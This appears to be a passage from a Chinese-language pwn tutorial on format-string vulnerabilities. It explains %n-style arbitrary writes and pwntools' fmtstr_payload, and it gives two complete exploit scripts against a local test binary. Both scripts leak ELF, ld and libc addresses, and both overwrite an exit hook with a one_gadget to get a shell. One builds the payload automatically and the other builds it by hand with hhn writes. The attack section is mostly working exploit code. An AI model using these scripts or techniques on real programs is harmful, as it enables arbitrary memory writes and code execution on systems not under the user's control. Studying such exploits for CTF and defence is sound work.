覆盖内存的原理是 %k$n 可以覆盖第 k 个参数指向的地址为已经输出的字符数量。
注意:覆盖内存只能覆盖栈上某地址指向的内存,而不是直接覆盖栈上某地址。
对于格式化字符串payload,pwntools也提供了一个可以直接使用的类Fmtstr,具体文档见http://docs.pwntools.com/en/stable/fmtstr.html,
我们较常使用的功能是
1
| fmtstr_payload(offset, {address:data}, numbwritten=0, write_size='byte')
|
offset表示格式化字符串的偏移
numbwritten表示已经输出的字符个数
write_size表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
注意:部分题目会限制时间,导致pwntools生成的payload失效。一般这一类题目可以通过仅修改低地址等操作减小输出长度,这时需要手动构造payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * elf = ELF("./test") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") context(arch=elf.arch, os=elf.os) context.log_level = 'debug' p = process([elf.path]) p.sendafter("please input:\n", "%p%5$p") elf.address = int(p.recv(14), 16) - 0x2012 info("elf base: " + hex(elf.address)) ld_base = int(p.recv(14), 16) - 0x11d60 info("ld base: " + hex(ld_base)) p.sendafter("please input:\n", "%7$saaaa" + p64(elf.got['puts'])) libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - libc.sym['puts'] info("libc base: " + hex(libc.address)) one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0] exit_hook = ld_base + 0x2ef70 gdb.attach(p, "b *$rebase(0x13b3)\nc") pause() p.sendafter("please input:\n", fmtstr_payload(6, {exit_hook: one_gadget})) p.sendafter("please input:\n", "exit\x00") p.interactive()
|
手动构造payload
覆盖小数字
对于小于机器字长的数字,如果把地址放在格式化字符串前面会使得已输出字符个数大于数字大小,因此要将地址放在后面。
以数字2为例:aa%k$n[padding][addr]
覆盖大数字
直接一次性输出大数字个字节来进行覆盖时间过长,因此需要把大数字拆分成若干个部分,分别进行覆盖。比如hhn按字节写或hn按双字写。
以hhn写入32bit数为例,payload形式为:[addr][addr+1][addr+2][addr+3][pad1]%k$hhn[pad2]%(k+1)$hhn[pad3]%(k+2)$hhn[pad4]%(k+3)$hhn (32位可以把addr放在前面,因为地址不会包含\x00,而64位地址放在前面会零截断,所以把地址放最后面)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * elf = ELF("./test") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") context(arch=elf.arch, os=elf.os) context.log_level = 'debug' p = process([elf.path]) p.sendafter("please input:\n", "%p%5$p") elf.address = int(p.recv(14), 16) - 0x2012 info("elf base: " + hex(elf.address)) ld_base = int(p.recv(14), 16) - 0x11d60 info("ld base: " + hex(ld_base)) p.sendafter("please input:\n", "%7$saaaa" + p64(elf.got['puts'])) libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - libc.sym['puts'] info("libc base: " + hex(libc.address)) one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0] exit_hook = ld_base + 0x2ef70 info("one_gadget: " + hex(one_gadget)) info("exit hook: " + hex(exit_hook)) gdb.attach(p, "b *$rebase(0x13b3)\nc") pause() payload = '' payload += '%{}c%{}$hhn'.format(one_gadget >> 0 & 0xFF, 11) payload += '%{}c%{}$hhn'.format(((one_gadget >> 8 & 0xFF) - (one_gadget >> 0 & 0xFF) + 0x100) & 0xFF, 12) payload += '%{}c%{}$hhn'.format(((one_gadget >> 16 & 0xFF) - (one_gadget >> 8 & 0xFF) + 0x100) & 0xFF, 13) payload = payload.ljust((len(payload) + 7) / 8 * 8) payload += p64(exit_hook) payload += p64(exit_hook + 1) payload += p64(exit_hook + 2) p.sendafter("please input:\n", payload) p.sendafter("please input:\n", "exit\x00") p.interactive()
|